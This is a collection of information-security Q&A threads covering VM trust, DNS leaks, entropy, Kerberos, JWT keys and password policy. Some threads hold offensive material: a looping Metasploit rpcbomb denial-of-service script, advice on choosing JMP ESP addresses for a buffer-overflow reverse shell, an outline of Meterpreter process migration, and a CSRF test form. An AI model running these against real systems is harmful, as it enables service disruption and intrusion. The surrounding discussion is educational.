Protection of Keys/Passwords on Virtual Hardware (XEN, KVM, VMWare, etc.) Is there any reasonable way to secure data on virtual hardware? What I mean by "virtual hardware" is the various hosted systems that one can rent from various online hosters, that run on top of XEN, KVM, VMWare ESXi and so on.

With actual dedicated hardware one can somewhat safely assume that the system itself has not been compromised if:

the software can be assumed as safe, that is the software running on that machine (ssh, webserver, etc.) can be assumed to not have been exploited or brute-forced
the hardware can be assumed as not-compromised, that is the machine hasn't gone offline so that an attacker could've changed essential hardware-parts like HDDs/RAM/etc with compromised ones. (Yes I know about hot-swappable hardware, but let's assume that will leave sufficient traces, be it in logs or software-malfunctions, if it's not done by a legitimate authority.)

But with virtual hardware the assumption that the hardware hasn't been compromised doesn't hold any more, because the hoster can pause, copy and restart the machine at will, without it ever rebooting or even going offline. Furthermore the hoster has direct access to the entire virtual machine's RAM and disks - while it is still running.

With some effort the hoster might even be able to change the authorized_keys or /etc/passwd file on the System to gain (root-)access to it and thus possibly even be able to view the contents of encrypted partitions that are currently mounted.

Given these vulnerabilites or possible attacks my questions now are:

How realistic are these vulnerabilities, are they an actual threat or just "science-fiction"? Is there anything that makes them impractical in reality? Do the VM-software vendors (Citrix, VMWare, etc.) implement any security mechanisms that make these attacks more difficult? (Is there even anything they can do to make this harder, other than security-by-obscurity)? Or do the VM-vendors maybe even provide tools to the hosters (which after all are their direct clients) that make these attacks easier?
Is there any effective way a guest-os can protect itself or the data in the RAM and on the disks from this kind of attacks? Would trusted computing approaches (signed code, etc.) be of any help? I know about DEP and ASLR, but that won't really stop the host from still reading every bit of memory available. Also I guess RAM-encryption is out of the question with conventional x86 hardware/VMs .. since that would no longer be "random-access" memory any more.
Has there been any research on this? I'm surprised about how little discussion there is on this topic. Is everything so obvious or unsolvable already, or is there just too little interest yet?

To me it seems clear, just by considering hypotheticals, that a virtual server has no practical technical protection from the administrator of the real host.

I'll try to be specific. It doesn't have to be impractical to crack a virtual server, given control of the real host. Here's the kind of strategy that I would imagine. Disassemble the virtual machine host software and locate the virtual keyboard driver. Then modify, not necessarily the VM host software, but perhaps a dispatch table in the operating system kernel. In that way, some sequence of system calls that is characteristic of the virtual keyboard driver could be made to trigger a logger for the virtual input keys. The result is a keylogger for the virtual server that can't clearly be detected from the virtual side.

A host system that would prevent this kind of manipulation probably wouldn't work very well. It's hard enough to debug and monitor software without intentionally adding obstacles for analysts.


How does dnsleaktest.com find my DNS provider Can't see how they find this over the web.  I'm on Windows, its in my network config.  It changes when I use a VPN provider, but not when I use a local socks proxy connected to a remote server over SSH (ProxyCap).  None of the publicly available sites are finding my correct IP, but leaktest finds my ISP DNS.

I imagine the protection is in using a VPN that is creating a virtual network adapter and therefore setting DNS providers there, but how is the website detecting my provider?

From the source of https://www.dnsleaktest.com/:

That site generates a random host name and arranges for your browser to request content from that host name. Since the host name has never been served to anyone else before, your browser's request to resolve it is sure to make its way to the primary server for the dnsleaktest.com domain. Since they run their own DNS, whoever they receive the DNS requests from is your DNS provider.

Whether forcing your DNS traffic to go through a tunnel instead of via your ISP depends on who you want privacy from. If you don't want the sites you visit to know where you're from, it's a mild leak: most sites don't bother to track where your DNS requests come from, and anyway they'd have a hard time figuring out which ones are yours, and your requests are likely to be served by some cache anyway. However any site could use the same trick as dnsleaktest if they cared. If you're using a tunnel because you don't want your ISP to know which sites you're visiting, making sure that no DNS request ever reaches your ISP is crucial.


Protecting Backups from Viruses Currently we are using ReadyNAS by NETGEAR to hold all our images from all our machines. My question is can viruses expand from the machines and infect the NAS drive and the backups?

We are using AOMEI Backupper.

EDIT: Basically, I want to keep my clean backups clean. I keep Daily, Weekly, Monthly achievable backups, my worry is a virus might attempt or try to infect these backups making using them worthless.

A backup is a backup, a file is a file. If a file is infected with a virus, and you backup it, then the backupped file contains the virus, and when you restore it the virus is still there. From the point of view of the backup system, a virus is just a bunch of bytes.

This is why recovery after a virus infection is hard: you have to restore a backup which predates the infection.

On the other hand, while the backup will gleefully save and restore viruses, the NAS itself (which is, internally, a computer with its own operating system) should be safe from such viruses, because it will not try to execute the files it copies, and in any case probably uses a distinct architecture (ARM, Sparc... but not x86).


Random number for HTTPS Message Authentication Code (MAC) Recently I found that Netscape used quite simple algorithm to generate random number for Message Authentication Code to establish an HTTPS connection (Netscape used time, process identification number, and parent-process identification number).

So now I wonder what source of seed do modern browsers use to guarantee true randomness?

Modern browsers do the smart thing: they ask the operating system. The OS interacts with hardware all day long; that's its main purpose. So it is in the right place to gather randomness and mix it with a properly secure cryptographic random number generator. On Windows systems, this is made available to application though the CryptGenRandom() function. Linux has the special file /dev/urandom for that. Some programming languages offer their own API for that (which internally feeds on the OS), e.g. java.security.SecureRandom for Java.

The hardware sources that the OS may employ primarily includes the cycle-accurate time at which hardware events occur (e.g. the precise nanosecond at which you press a key, or a network packet is received). The OS can thus get "enough" true randomness to power a RNG, which will then yield good alea by the megabyte ("good" = "indistinguishable from true randomness, up to an overwhelming work factor" = "good for crypto").


Is setting up my own VPN more secure than buying from third party vendors? When Googling for the most trusted VPN provider (for keeping your anonymity), some users say that the best way to go is to just setup your own (e.g., OpenVPN) using a dedicated server. How is this more secure if the provider of the dedicated server and their ISP still has access to your internet traffic data?

In general setting up your own will be less secure because:

there are more ways for your identity to leak out when you are hosting your own service. For example, if you use a dedicated server you might need to register a domain name.
you lose the anonymity of many, many users utilizing the third party VPN service. (If you are one of a few users of your self-hosted VPN, it will be easier to identify you.)
you may not have the expertise to understand the latest security issues related to your hardware, host, network and software stack


Buffer overflow Mona modules all show Rebase SafeSEH ASLR True Almost every beginners (noob friendly) tutorial written for Stack based buffer overflow explains when using mona module to locate a safe reliable memory address for our EIP to JMP to our shellcode should have Rebase, Safe SEH, ASLR disabled.

However in a recent stack based buffer overflow challenge, all the modules mona provided showed they were protected except for the executable itself.
I used a module (DLL) that had those protections shown by mona to JMP to my shellcode and successfully execute my shellcode which really confused me.
If the executable itself is not protected does that mean we can use any DLL to JMP to our shellcode? if not what is the proper way to handle this situation?

Using the protected modules WILL ONLY work during that session however when restarting Windows the Address's of the protected DLL's will change. So this explains why I was able to get a reverse shell during this windows session.
If mona output shows DLL modules are protected best to look at the Executable itself.
The solution to this situation is to look for JMP ESP within the EXE itself.


Do you need more than 128-bit entropy? UUID uses 128-bit numbers.  Currently it is not feasible to randomly produce two UUIDs that are the same.  Does that mean 128 bits of entropy is suitable for all cryptographic operations?  I would assume that cryptographic algorithms that use larger keys than 128 bits do so because there are mathematical relationships between the text, encrypted text, private key, and public key.  For example, if you had the plain text and the encrypted text, a weaker algorithm would allow you to attack the used key by using the mathematical relationships between the two known parameters to get to the third one.

To put it another way:  if I seed a cryptographically secure pseudorandom number generator with 128 bits of entropy, is it safe to use that CSPRNG to generate any key?

4096-bit RSA key?
256-bit ECC key?
256-bit AES key?
256-bit HMAC key?

128 bits of entropy are enough. The whole and only point of considering entropy is to make sure that the system can resist brute force attacks: the space of possible values must be so large that any attacker could only try a negligible proportion of the values in non-ludicrous time. There are strong reasons why 128 bits are highly sufficient for that. Realistically, a very powerful organization with lots of cash to spare (including behemoths like Apple or Google, who can muster much more resources than usual scarecrows like the NSA) could hope to perform, say, at most 285 elementary computations (like encrypting an AES block) within a year -- it won't be discreet, and that's still less than the millionth part of the millionth part of a 2128 space.

In your list of algorithm, if you generate a 256-bit AES key from a 128-bit seed and a strong PRNG, then you do not really have a 256-bit key. From the attacker's point of view, this is a 128-bit key. Mind you, that's still more than enough to deter the attacker. But claiming "256 bits" here verges on the fraudulent (and, in the case of AES, implies a +40% runtime cost for no actual gain). The same can be said about HMAC, and, actually, all algorithms that are part of "symmetric cryptography".

For asymmetric algorithms, one can try to make estimates of strength and to seek equivalences with symmetric keys. This is very hard to do, because attacks on (say) RSA and AES do not use at all the same kind of technology (to make things simple: for RSA you need a lot of very very fast RAM; for AES you need no RAM at all, and should use relatively slow circuits to make them really cheap to build and operate). See this site for what several groups of smart people have come up with. The general consensus is that a 256-bit elliptic curve (at least, a "normal" curve) ought to be somewhat equivalent to a 128-bit symmetric key in strength; a 4096-bit RSA key might be a bit beyond, assuming that this assertion makes sense, which it does not (there is nothing stronger than "cannot break it" so comparing strengths beyond 100 bits or so is kinda meaningless anyway).

There is a relatively recent idea that floats around about quantum computers, that would somehow require a doubling of the number of bits. The theoretical reason is that Grover's search algorithm can explore a space of 2n inputs to a function (implemented on a quantum computer) by invoking the function 2n/2 times. Under that theory, you would need a 256-bit key to achieve the magical "128-bit security". However, there are two principal flaws in that theory:

The flaw that everybody points out is that quantum computers do not exist yet (well, almost everybody; some people purport to have quantum computers on sale). Decoherence is apparently very hard to surmount and we do not really know how to do it except by making the whole machine very very cold, and then praying that the Universe won't catch up on what we are trying to do for a few more milliseconds.
The flaw that nobody points out, but is at least as important as the other one, is that there is no indication that an elementary computation on a quantum computer would consume an amount of energy similar to an elementary computation on a classical computer. This is, however, a very crucial point. Since the invention of the transistor, computers have steadily become more efficient; it was theorized as Moore's law. There are also increasingly clearer indications that Moore's law is about to stop (Gordon Moore himself said so), mostly because we are close to the minimal size for electronic gates (if we make them any smaller then they leak madly through quantum tunnelling) and we are out of fresh ideas: the increase in power sine the 1970s fed on a pool of ideas that had all been conceived and enunciated in the 1970s, and now we are at the end of our wits.

So we will soon reach the limits of classical computing and thus will actually know, with some appreciable reliability, just how much of a key space can be explored with classical computers. However it took about 70 years to reach that point.

For quantum computers, since they don't really exist yet, we are at day one. It takes an awful lot of wishful thinking to assert that, 70 years from now, we will have reached the maximal optimization of quantum computers and that optimization will bring the cost of elementary quantum operations within the same order of magnitude of the cost of elementary classical operations. In fact nobody knows anything about that yet.

As an illustration on the difficulty of conceiving a clear notion of what technology will be able to achieve in the future, consider the following anecdote (that I recently read in that book): back around 1810, more than 25 years after the historical first free flight of Pilâtre de Rozier in an untethered balloon, the greatest thinkers of that time had conceived what the new invention could bring to mankind. In their view, the summit of the usefulness of a balloon was to tether it to your carriage, thereby making it lighter and allowing it to be drawn about with fewer horses. Think about that whenever you feel visionary.

Quantum computer efficiency being doubly speculative at that point, it is not really rational to include it in any thinking about key length. A much more salient point is that when quantum computers work, even if they do so abysmally slowly, then RSA, Diffie-Hellman and elliptic curves are toast. That is worth investigating, and this is what studies on Post-Quantum cryptography concentrate on.


Does using FreeDNS introduce a security risk? If you use a service like FreeDNS for a DNS, does this introduce any additional security risk as opposed to simply paying a registrar?

Obviously the owner of FreeDNS could hijack your domain. But beyond that, is there any extra risk? For instance, if you SSH into the server using the domain, will FreeDNS have an opportunity to eavesdrop on your communication?

DNS is only used to resolve domain names to IP addresses so there is certainly the risk that the domain can be hijacked if your DNS provider turns out to be untrustworthy.

I think the question you really want to ask is what a person can do by hijacking a domain name (i.e. control the DNS records). The problems or risks that can arise are very similar to that of DNS poisoning/spoofing. Here are few examples of things that can go wrong.

Get SSL certificates issued for your domain. This could lead to a MITM attack on any secured websites you host on that domain.
MITM any unsecured website you host on that domain.
Redirect your domain to their own server to host spam. This can damage your search engine rankings.
Redirect (and hence read) email sent to the domain.
Redirect SSH connections to a server under their control (this can lead to a MITM attack if you don't verify the server host key).

Of course, this is a non-exhaustive list but notice that none of these allow the registrar to directly eavesdrop on any communication between you and the server. Rather it allows them to redirect the hostnames to servers under their control and you won't know unless you inspected the resolved IP addresses carefully.


How to run a meterpreter script multiple times I have this very simple script to run a rpcbomb script from auxiliary/dos/rpc/rpcbomb for a DOS attack.
use auxiliary/dos/rpc/rpcbomb
set RHOSTS Victim_IP_Address
set RPORT 111
exploit -j -z

I want to run the script about 10 times but I cant find any method to do so

It is not possible to create loops with Meterpreter commands in the .rc script alone, but luckily Meterpreter scripting supports Ruby with all of its looping methods. An example with the while loop, 10 iterations:
use auxiliary/dos/rpc/rpcbomb
set RHOSTS 192.0.2.1
set RPORT 111

<ruby>

$i = 0

while i < 10
    run_single("exploit -j -z")
    $i += 1
end

</ruby>

Or an infinite loop which also waits two seconds before running the exploit again:
use auxiliary/dos/rpc/rpcbomb
set RHOSTS 192.0.2.1
set RPORT 111

<ruby>

while true
    run_single("exploit -j -z")
    run_single("sleep 2s")
end

</ruby>


HTTPS still NSA-safe? There are exerpts, that say that using https can be broken by the NSA by now.

So is https still a solution for secure web-browsing?

source: http://www.digitaltrends.com/web/nsa-has-cracked-the-encryption-protecting-your-bank-account-gmail-and-more/

  Encryption techniques used by online banks, email providers, and many
  other sensitive Internet services to keep your personal data private
  and secure are no match for the National Security Agency

Basically, the NSA is able to decrypt most of the Internet. They're
  doing it primarily by cheating, not by mathematics.

-- Bruce Schneier

Now, your question is "So is HTTPS still a solution for secure web-browsing?"

The answer is, as safe as it ever was, unless your opponent is the NSA.  The reports you're referencing do not identify a generic weakness that can be taken advantage of by random actors, by organized crime, by your ex-wife.  There's no systemic failure here, just proof that a sufficiently funded, authorized, and skilled attacker can compromise lots of endpoints.  And we knew that.


Use truecrypt to make data unrecoverable If I format all my drivers c,d,e,f and then make a truecrypt volumes equal to drive size then delete it 'the voulme' will that make the old data unrecoverable ex. d:= 30g i use truecrypt to make 30g volume on d then delete it. and at the end do the same on the free space at for windows drive c:

how secure this way, i dont want to use any programs as I dont trust it any way so I want to do it manual

  Edit: I'll do all this before selling it, so no one would recover my personal stuff.

If you want to destroy all data on your disk, why not use a file shredding tool? There are plenty of them available, and it is a lot easier solution that creating a truecrypt volume and then deleting that volume.

I also don't know how truecrypt initializes volumes. It is possible that truecrypt writes random data to the volume only once, while file shredding software can (and should) do multiple passes, making the chance of recovering data even smaller.


IPsec Transport Mode NAT Traversal Security Risks The strongSwan FAQ states:

  NAT-Traversal with IPsec transport mode has some inherent security risks.

What kind of security risks is the documentation referring to?

(links to other resources are welcome too)

I think the answer refers to the Transport Mode Conflict, which is described in section 5.2 of RFC 3948. If two clients behind the same NAT device connect to the same server using Transport Mode this might result in duplicate IPsec policies (i.e. between the NAT device's public IP and the server's IP). This means the server may only be able to send traffic to one of the clients (usually the one that connected last). If the traffic selectors include ports and protocols this issue might be avoided (unless they conflict) and in some cases it's possible to work around it (e.g. by using strongSwan's connmark plugin).

The term "inherent security risk" might be a bit harsh (note that I changed that on the FAQ page in the meantime), which is why newer strongSwan versions support NAT-T with Transport Mode. Although users should be aware of the potential caveats. The ikev2/host2host-transport-nat scenario in strongSwan's regression test suite illustrates two possible problems that could arise when using Transport Mode over NATs.

However, the developers of the FreeS/WAN project, on which strongSwan versions before 5.0.0 were originally based, had some very strict opinions about NAT Traversal with Transport Mode, which is why it had to be specifically enabled with a configure option (i.e. the code was not even compiled in), which is what the rest of the answer in the FAQ explains (if the option wasn't enabled, the error message clearly conveyed their opinion: "NAT-Traversal: Transport mode disabled due to security concerns").

By the way, the FAQ entry's answer is based on a quote form an email by Andreas Steffen (founder of the strongSwan project) from 2009, which, unfortunately, is not available in the mailing list archives anymore. But looking at old versions of the answer in the history of the FAQ page does point to this origin.

For completeness, there is a similar issue with Tunnel Mode over NATs (described in section 5.1 of RFC 3948) if two clients behind different NAT devices with the same private IP address connect to the same server. However, this can easily be avoided by assigning virtual IPs to the clients (which is what's usually done in roadwarrior scenarios).


Two factor authentication: SMS/TOTP, but what if you only use your phone I found a code by SMS or TOTP on a phone as a second factor of authentication to be a good solution for when you're using your computer to login to a website. Most people have a phone which can either receive a text, or can install an app.

But more people are using their phone to login to websites as well. If you then configure the two factor authentication on the same device, it kind of loses a big security advantage as it's all on the same device. Are there any best practices for this issue? Anyway to kind of restore the advantage you have when using both pc/phone?

You still have the same advantage. Two factor authentication with SMS/TOTP is based on two things :

Something you know - your password
Something you have - your phone

If you log in using your phone you need to know the password and... have the phone. This way it's still the same amount of security.


Do I need to revoke both my OpenPGP primary key and subkey? After creating an OpenPGP key pair in GnuPG, if I list keys with gpg --list-keys, I get (GnuPG default):

/someone/.gnupg/pubring.gpg
------------------------
pub   2048R/BC589B05 2015-07-15
uid                  Some One
sub   2048R/3dd81C42 2015-07-15

Consisting the primary public key with ID BC589B05, and sub key with ID 3dd81C42.

Is it necessary to create a revocation certificate for each of these, or just the pub key? In especially, is it sufficient to just do

gpg --gen-revoke BC589B05 > BC589B05.revoke.asc

and backup BC589B05.revoke.asc somewhere, or am I supposed to repeat this for the sub key, too?

Revoking the primary key is sufficient. OpenPGP clients will refuse to use subkeys of revoked primary keys. Revoking primary and subkeys is different: primary key revocations are special self-certifications (self-signatures) containing revocation information, while subkey revocations are issued by the primary key they belong to.

Using GnuPG, it is not possible to generate a revocation certificate for subkeys anyway. From man gpg:

--gen-revoke name

   Generate a revocation certificate for the complete key. To revoke a
   subkey or a signature, use the --edit command.


How hard is it to hack the JWT HS256 algo? By convention, I see a lot of folks using this approach to generate a private key from a nodejs console:
require('crypto').randomBytes(64).toString('hex')

But considering I could input other values besides 0-9 and A-Z, I wondered if my key would be more secure if I used other non hex-only characters?
Second, if my key is 64 bytes for the HS256 algo., how much time would it take an attacker to brute force the signature? My JWTs are only valid for 15 minutes, but that doesn't stop an attacker from logging in, grabbing an access-token and brute forcing it.
My JWTs maintain 3 claims that I don't encrypt -- the email address of the user, the user's ID (which never changes) and a boolean value. I was considering appending to my key the hash value of the user's ID so that brute forcing the key (if successful) would only yield the password for that one user as the attacker would likely not realize that I appended the hash of the user's ID. Is this a good strategy?
I'm just concerned that JWTs aren't as secure as session IDs in a cookie as I can control how many requests an attacker can make from my endpoints but can't control a brute force against an offline verify.

require('crypto').randomBytes(64).toString('hex') creates a key that is 64 bytes (512 bits) long.  In this case, the key is then encoded as hexadecimal (by way of .toString('hex')) - but irrespective of whether the key is encoded hexadecimal, base64, or some other encoding - the key is 512 bits in length.
512 bits is an enormous space.  There are over 1.34 * 10^154 possible combinations of 512 bit numbers.  For some perspective, there are thought to be about 10^82 atoms in the universe.   To brute force a 512 bit key would require cycling through all of these combinations, and computing the HMAC for each of these combinations, until the correct combination is found.
Even if an attacker had an unlimited amount of computational power, he would not have enough energy to mount a brute force attack - as just cycling through all of the combinations (let alone computing the HMAC for each) would require more energy than the amount of energy stored in the sun (see https://www.schneier.com/blog/archives/2009/09/the_doghouse_cr.html, and scroll down to where it reads Or read what I wrote about symmetric key lengths in 1996, in Applied Cryptography (pp. 157–8).  Note, this applies to digital computers, as well as quantum computers.


Content sniffing XSS vulnerable browsers In order to prevent Cross-site scripting (XSS) in a private web application that supports image upload, I intend to reject browsers that are vulnerable to content sniffing.

Which browsers are currently vulnerable to this exploit?

PS. I'm aware of the X-Content-Type-Options header, which isn't fully supported as far as I know.

If you don't send a content-type header most browsers will do content sniffing. If you do send a content-type header as far as I know all versions of internet explorer will do sniffing unless x-content-type-options: nosniff is set. IE should accept this header starting with IE8 (blogs.msdn.com/b/ie/archive/2008/09/02/ie8-security-part-vi-beta-2-update.aspx).

Just an idea: you might try to detect if the browser is vulnerable to content-type sniffing by serving an HTML page with an redirect as content-type: text/plain. If you the browser gets redirected it is vulnerable (you might also check the effectiveness of the nosniff option this way). If you just include this test-page into a small and maybe invisible iframe you can do the check without affecting the rest of the website.


Disable all SSH security mechanisms for a private subnet So I'm running a private subnet where there is no internet connectivity, I understand the grave danger of running an ssh server on the internet without security.

In short I would like to be able to login to another machine on my subnet without entering a password or fumbling with rsa keys.  So passwordless, but not passwordless in the traditional sense.

To complicate the matter, I boot over the network, and the mechanism I am using to do so (Warewulf) does not easily allow me to add rsa keys to the root user.

So I am looking for a way to disable all ssh security through the sshd_config and ssh_config files.

Thanks.

Assuming OpenSSH, you can (still, but not by default) use HostbasedAuthentication which is the same (fragile) scheme used by classic rsh/rhost before ssh was invented. Namely, if the client IPaddress maps to a hostname listed in a server system or user config file, the connection is accepted.

This relies on correct and available rDNS for your local/trusted machines, so unless you are a part of a meticulously administered enterprise network, this likely means either: running your own DNS server -- at minimum dnsmasq or similar -- which is authoritative for local and forwards non-local as needed -- which isn't needed if 'private subnet' means you don't connect out at all; or editting your local client machines into the hosts file on every server (at least) and keeping them up to date.


Internal IP addresses allowed access to all DMZ hosts Hi basically I'm doing a vulnerability assessment for at the moment. The setup includes a DMZ with a single firewall and an internal network (3 legged network model employing a single DMZ) but on the network all internal IP addresses have access to all DMZ hosts on any port.

What kind of vulnerabilities could be present with this kind of setup?

Thanks!

The same vulnerabilities that exist between two internal workstations on the same network.

Things such as:

NetBIOS access
Accessing admin shares (C$) or any shares for that matter
Brute forcing DMZ accounts over the network
Remote registry access
RDP access

That's just for starters.

It's bad practice to allow unrestricted access from internal resources to DMZ assets. Why you ask? Insider threats - which could essentially be broken down into 3 categories:

Employees with deliberate malicious intent
Incompetent employees who may accidentally cause an outage
Internal machines that have been compromised and are part of a BOTnet / controlled by a remote attacker.


Keyloggers on Smartphones? I need to clarify my question. I'm wondering if there are any apps for smartphone that can log each 'keystroke' (i.e. key pressed on touchscreen) that a user does. Performing a google search brings up some links to sites like this and this. These apps do not record keystrokes, they 'only' forward sms messages, call logs, contacts and so on to the attacker. Although they call themselves keylogger, that's not what I mean.

Are 'keyloggers' impossible due to the fact that there are no 'real' keystrokes to log? Is this kind of attack simply not possible on touchscreens?

Carrier IQ is a rootkit previously installed by mobile phone operators on Android and on iOS 4 iPhones. It is capable of recording every keystroke on your virtual keyboard.
See What risk does Carrier IQ pose, exactly?


How does 32 bit Meterpreter migrate into 64 bit process? If you have an 32bit Meterpreter running on a 64 bit remote system you can migrate into 64 bit processes.

This isn't anything new and has been used by malware for ages but the thing that makes me think is how does it do this on Windows 10?

Usually running 32 bit code in a 64 bit processes would be achieved using Heaven's Gate but this has been made impossible in Windows 10, more about this on Alex Ionescu's blog post "Closing Heaven's Gate".
http://www.alex-ionescu.com/?p=300

The migration works as follows:

Client sends a request to the server to generate a new payload with
specific architecture of the target process.
Server generated the payload and sends it to the client.
Client injects received payload into the target process, e.g. explorer.exe
Client calls ExitThread() to close the old connection without terminating the process.
New payload successfully connects to the server and awaits new commands.


Is MIT Kerberos supposed to ask for a password when authenticating to SSH? According to my understanding of Kerberos, a client is supposed to only enter its password once for obtaining the TGT from the Kerberos server and the authentication against the web services (f.e. SSH, Apache, SMB ...) is only done through the service ticket obtained from the Kerberos server.

In my current setup (check here for details), the client is being prompted for its Kerberos (!) password when authenticating to SSH. This happens after the client has already obtained a TGT from the Kerberos server.

To me, this behaviour seems quite odd since the whole idea about Kerberos seems to be that the authentication to a web service is done through tickets instead of passwords. But my colleague is convinced that this behaviour is expected and that the advantage of Kerberos is that the password never leaves the client. It's only used to validate the service ticket on the client's machine.

Can anyone clarify whether or not it is expected behaviour to be prompted for a password when authenticating to SSH via MIT Kerberos?

The simplest answer is probably not.

From looking at your current setup you are trying to use GSSAPIAuthentication. If your kerberos environment is properly set up then it should not be required to enter a password again after initially requesting your TGT. with this properly received it is only the TGT that is required to request the service ticket.

Some things to look out for are the following:

Things are simpler if you follow the convention of keeping your realm name in UPPERCASE.
Make sure all SPNs in your KDC match the FQDNs of the hosts you are authenticating to.
Make sure all hosts are actually aware of their FQDN. This can be achieved by editing /etc/hostname, /etc/hosts may also be useful.
It also looks like you are receiving brute force attempts against your ssh daemon as the user root, this can be helped by installing something like fail2ban. Failing this, you can run an instance of sshd in the foreground, on a non standard port, with extra debugging output using this command sudo /usr/sbin/sshd -p 9001 -D -dd. This will give you cleaner logs.


Which are the most common vulnerabilities for poor crafted IoT devices? I'm learning about securing IoT devices and starting to learn how to develop my own software for them.

I wanted to know which are the most common vulnerabilities that any scriptkiddie could exploit and how to be aware of them in general terms.

I'm in a very initial stage, so any tip or information regarding:

Popular vulnerabilities in devices or brands
Securing typical sofware for cameras/sensors/small devices...
Tools for pentesting devices/examples

The most common vulnerability is no security at all. Many brands just:

put a completely insecure web server onto their devices.
put plain-text hard-coded passwords into their code for "maintenance access".
standard issues such as buffer overflow.
the firmware update functionality is often vulnurable
signature of an update was in past verified to be a valid signature, but the certificate itself was not checked for validity. So any self signed certificate provided access.

For best practices, try to keep your code simple and authenticate everything. There will probably be no need to include something like a web server in a camera and it brings many vulnerabilities. Also remember, that users may not ever update your firmware, so keeping bugs to a minimum by making the device simplistic is a good idea.

PS: Also authenticate using something like HMAC, as your connection will most likely not be secure. You should avoid sending passwords.

PPS: If you want some sort of developer access, use public key cryptography and always include an option to turn it off.


Tor and Orbot, possibility to add in dynamic AES encryption structure before data is send out? I read on the documentation about the security issues on Tor, that it is ok if the website is running on HTTPS, but how about on Orbot and site that is not running on HTTPS?

Even if it is running on HTTPS is it 100% sure that the end node can not expose data that is sent out?

I am just wondering for the Orbot app maybe even Tor, what if an encryption is added for the data passing back and forth.

For example:

Encryption for data
Onion layers are added
Onion layer removed
Decryption

It is similar to what the "HTTPS" is doing, but about for Orbot? And if for example a unique private key is used and AES-256 encrypt dynamically for each browser? Even if a server is compromised, or malicious end node, would it make it more secure?

That cannot be done in any way, because the data leaves the Tor-network on the exit node!
The Data is already encrypted until the exit node where it is sent in plain to the public Internet.
Any encryption added between your Orbot and the exit node doesn't change anything, because it is already there.

If you want to encrypt the data between the client app and the target server, that cannot happen in Orbot/Tor because the client and the server don't know anything about Tor!
There is a widely used standard for transport encryption called TLS. It is used in HTTPS.
Nothing is 100% sure and there are always bugs. But TLS is so widely used that bugs are regularly found and fixed.

For Tor hidden services, the "exit node" usually is your target server, so if you access an .onion URL using Tor, usually all the data is encrypted.

Maybe this graphic from Wikipedia helps you understand (CC BY 3.0 licensed)

Once the data is between the last Tor node and Bob (red arrow) it is outside the Tor network and so you can't encrypt this using Tor!


How is JSESSIONID determined in this CSRF test? I'm working on testing CSRF protection for one of our webapps. We have a test case like the following:

<!DOCTYPE html>
<html>
    <head>
    </head>
    <body>
        <form action="https://webapp.example.com/path/to/page.do" method="post">
            <input type="hidden" name="actionTask" value="reject">
            <input type="submit" value="Submit request">
        </form>
    </body>
</html>

Which is a simple page with a hidden field and submit button. If the user has a valid session (is logged into the web app), opens this CSRF page, and clicks "submit", the request is submitted and does bring the user to a results page in the web app.

This is a JSP-based web app that uses JSESSIONID to track the users session (plus cookies for auth). When I trace the HTTP methods, I see that Firefox (browser used to test) is in fact submitting JSESSIONID as one of the headers. How does Firefox obtain the correct value for JSESSIONID?

Note: I realize that since Firefox has a cookie for a valid session with the application, it can use that. But how does it determine JSESSIONID? I can log in and close the browser windows and the page still works as long as my session is still valid. Seems the server is telling the browser what its JSESSIONID is?

edit1: This question isn't specific to CSRF, but rather simply how the browser determines JSESSIONID when it has a valid session open.

But how does it determine JSESSIONID? I can log in and close the
  browser windows and the page still works as long as my session is
  still valid. Seems the server is telling the browser what its
  JSESSIONID is?

The server sends JSESSIONID to the browser in an http response with a set-cookie header.

Here is an example:

HTTP/1.1 302 Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 23 May 2016 19:48:35 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Location: https://freezerpro/signin
X-UA-Compatible: IE=Edge,chrome=1
Cache-Control: no-cache
Set-Cookie: JSESSIONID=3a64adc78f2dae266c99767c6686bc0d; path=/; HttpOnly
X-Request-Id: d09eafd83135da8ad1f261d67d380c84
X-Runtime: 0.008982
X-Rack-Cache: miss
Content-Length: 95

And then the next request from the browser to the server has that same sessionID, linking it to the already established session:

GET /signin HTTP/1.1
Host: freezerpro
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=3a64adc78f2dae266c99767c6686bc0d
DNT: 1
Connection: close


Would allowing shorter passwords sometimes be more secure? Does the act of requiring certain criteria for passwords make them easier to brute-force?

It's always seemed to me that when websites limit the use of "insecure" passwords, it might make it easier for the passwords to be brute-forced because it removes the need for attackers to check any of those passwords. The most basic of these requirements (and probably the most common) would be the need for a password to be 8 characters or longer. It has been discussed in a few other topics:

Do password complexity requirements reduce security by limiting search space?
Insecure to require numbers in passwords?
Doesn't imposing a minimum password length make the password weaker by reducing the number of possible combinations?

The general consensus on this is that requiring longer/harder passwords doesn't necessarily make them easier to crack because most of the passwords it is not allowing aren't probable passwords anyway (because the great majority of people wouldn't use a random string of characters).

I still feel like most people are probably using a password that is the required length or only 1 or 2 characters over the limit. Assuming the use of only alphanumeric characters, requiring 8+ characters removes about 3.5 trillion password possibilities (most of them would just be random gibberish). This leaves ~13 quadrillion passwords that are 8-9 characters. My main question is: Would it make more than a negligible difference in security for websites to only have password requirements sometimes?

Example: Maybe 1/100 attempts to create a password would not need to meet a certain criteria, which would require attackers to test all passwords because of the possibility that the password is less than 8 characters

One related question that you missed in your list is this one:

How critical is it to keep your password length secret?

The accepted answer there (disclaimer: mine) shows that if you have a password scheme which allows all 95 printable ascii characters, then the key space ramps insanely quickly every time you increase the length of the password by 1. You can check all the passwords up to length N in about 1% of the time that it'll take you to check only passwords of length N+1. By rejecting any password shorter than some cutoff length, you give up far less than 1% of your key space.

So, I strongly second @Iszi in saying

  The benefit gained by forcing increased length far outweighs the number of possible passwords lost.

Next point: let's get out of the idea that 8-characters is long for a password. It is not. You say "~13 quadrillion passwords" as if that's a big number. It is not. According to this article (which is a great read btw) his password cracking rig could make 350 billion guesses per second, so every single one of your ~13 quadrillion passwords can cracked one-by-one in ~10 hours. And that's on 2013 hardware, GPUs have come up a lot in power since then.

My opinion is that websites can squabble about who has the better password requirements, but they are all far too weak. Our ability to crack passwords is growing WAY faster than our ability to remember longer ones. This is because security is clashing with usability. Try telling anybody who's not a tech nerd that they need to memorize a 32-character password that doesn't contain any English words, and a different one for each account they have! You'll be laughed at and then ignored. Websites that try to enforce anything better than pathetic password policies have to deal with mountains of angry customers.

